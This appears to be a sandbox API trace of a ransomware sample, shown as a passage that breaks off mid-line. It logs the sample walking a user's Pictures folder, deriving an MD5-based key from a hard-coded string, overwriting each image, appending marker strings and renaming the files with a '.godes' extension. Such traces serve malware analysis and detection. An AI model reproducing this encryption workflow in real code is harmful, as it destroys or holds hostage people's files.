[0114.911] PathFindFileNameW (pszPath="") returned="" [0114.911] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x3320330 [0114.911] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5775970, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0xf1abc990, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0xf1abc990, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3320330 | out: hHeap=0x660000) returned 1 [0114.913] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5775970, ftCreationTime.dwHighDateTime=0x1d4cd7f, ftLastAccessTime.dwLowDateTime=0xf1abc990, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0xf1abc990, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.913] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85eb260, ftCreationTime.dwHighDateTime=0x1d4d026, ftLastAccessTime.dwLowDateTime=0xb09e9590, ftLastAccessTime.dwHighDateTime=0x1d4cf85, ftLastWriteTime.dwLowDateTime=0xb09e9590, ftLastWriteTime.dwHighDateTime=0x1d4cf85, nFileSizeHigh=0x0, nFileSizeLow=0x12e32, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7iohC33skm1MLtj_zsU.bmp", cAlternateFileName="7IOHC3~1.BMP")) returned 1 [0114.913] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.913] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.913] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.913] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7iohC33skm1MLtj_zsU.bmp") returned=".bmp" [0114.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7iohC33skm1MLtj_zsU.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\7iohc33skm1mltj_zsu.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.914] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=77362) returned 1 [0114.914] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.916] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12e0c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.916] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.917] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.917] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.917] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.917] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x12e32, lpOverlapped=0x0) returned 1 [0114.918] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.918] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.918] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.918] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.919] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741158) returned 1 [0114.919] CryptCreateHash (in: hProv=0x741158, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.919] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.919] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.919] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.919] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.919] GetLastError () returned 0x0 [0114.920] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.920] CryptReleaseContext (hProv=0x741158, dwFlags=0x0) returned 1 [0114.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x12e30) returned 0x3323120 [0114.920] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.920] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x12e2d, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x12e2d, lpOverlapped=0x0) returned 1 [0114.920] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.920] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x12e32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.920] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.920] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.921] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.921] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.921] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.921] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.921] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.921] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.921] CloseHandle (hObject=0x624) returned 1 [0114.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.924] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.924] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7iohC33skm1MLtj_zsU.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\7iohc33skm1mltj_zsu.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7iohC33skm1MLtj_zsU.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\7iohc33skm1mltj_zsu.bmp.godes")) returned 1 [0114.924] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.924] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.925] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85fd610, ftCreationTime.dwHighDateTime=0x1d4c5e8, ftLastAccessTime.dwLowDateTime=0xc048aeb0, ftLastAccessTime.dwHighDateTime=0x1d4c6eb, ftLastWriteTime.dwLowDateTime=0xc048aeb0, ftLastWriteTime.dwHighDateTime=0x1d4c6eb, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7zAHSAO8Qhdnj4k.png", cAlternateFileName="7ZAHSA~1.PNG")) returned 1 [0114.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.925] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.925] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.925] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7zAHSAO8Qhdnj4k.png") returned=".png" [0114.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7zAHSAO8Qhdnj4k.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\7zahsao8qhdnj4k.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.927] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=12356) returned 1 [0114.927] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.929] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x301e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.929] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.930] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.930] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.930] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.930] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x3044, lpOverlapped=0x0) returned 1 [0114.931] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.931] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.931] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.931] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.931] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741158) returned 1 [0114.931] CryptCreateHash (in: hProv=0x741158, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.931] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.932] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.932] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.932] GetLastError () returned 0x0 [0114.932] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.932] CryptReleaseContext (hProv=0x741158, dwFlags=0x0) returned 1 [0114.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x3040) returned 0x3323120 [0114.932] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.932] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x303f, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x303f, lpOverlapped=0x0) returned 1 [0114.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.932] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x3044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.932] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.932] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.932] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.932] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.932] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.933] CloseHandle (hObject=0x624) returned 1 [0114.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.934] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8d0) returned 0x331e748 [0114.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.934] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7zAHSAO8Qhdnj4k.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\7zahsao8qhdnj4k.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\7zAHSAO8Qhdnj4k.png.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\7zahsao8qhdnj4k.png.godes")) returned 1 [0114.934] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.934] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.935] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3201530 | out: hHeap=0x660000) returned 1 [0114.935] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x484e7050, ftCreationTime.dwHighDateTime=0x1d4c6d9, ftLastAccessTime.dwLowDateTime=0xfab1bc00, ftLastAccessTime.dwHighDateTime=0x1d4c947, ftLastWriteTime.dwLowDateTime=0xfab1bc00, ftLastWriteTime.dwHighDateTime=0x1d4c947, nFileSizeHigh=0x0, nFileSizeLow=0x1802b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aW1PsgN2xsPJR.gif", cAlternateFileName="AW1PSG~1.GIF")) returned 1 [0114.935] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x33214c8 [0114.935] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd6) returned 0x3201530 [0114.936] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x33214c8 | out: hHeap=0x660000) returned 1 [0114.936] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\aW1PsgN2xsPJR.gif") returned=".gif" [0114.936] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\aW1PsgN2xsPJR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\aw1psgn2xspjr.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.936] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=98347) returned 1 [0114.936] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.938] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x18005, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.938] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.939] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.939] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.939] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.939] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x1802b, lpOverlapped=0x0) returned 1 [0114.940] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.940] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.940] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.940] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.941] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741158) returned 1 [0114.941] CryptCreateHash (in: hProv=0x741158, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.941] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.941] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.941] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.941] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.941] GetLastError () returned 0x0 [0114.941] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.941] CryptReleaseContext (hProv=0x741158, dwFlags=0x0) returned 1 [0114.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.942] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x18030) returned 0x3323120 [0114.942] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.942] WriteFile (in: hFile=0x624, lpBuffer=0x3323120*, nNumberOfBytesToWrite=0x18026, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3323120*, lpNumberOfBytesWritten=0x3b2fb24*=0x18026, lpOverlapped=0x0) returned 1 [0114.942] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3323120 | out: hHeap=0x660000) returned 1 [0114.942] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1802b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.943] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.943] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331e748 [0114.943] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331e748, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.943] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x331eb78 [0114.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.943] WriteFile (in: hFile=0x624, lpBuffer=0x331eb78*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x331eb78*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331eb78 | out: hHeap=0x660000) returned 1 [0114.943] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.943] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.943] CloseHandle (hObject=0x624) returned 1 [0114.944] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x32518f0 [0114.944] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8c0) returned 0x331e748 [0114.944] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0114.944] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\aW1PsgN2xsPJR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\aw1psgn2xspjr.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\X7bnh_OS\\Se5hmDr0IOl8\\xGbG96m2n\\aW1PsgN2xsPJR.gif.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\x7bnh_os\\se5hmdr0iol8\\xgbg96m2n\\aw1psgn2xspjr.gif.godes")) returned 1 [0114.945] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331e748 | out: hHeap=0x660000) returned 1 [0114.945] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.946] HeapFree (in: 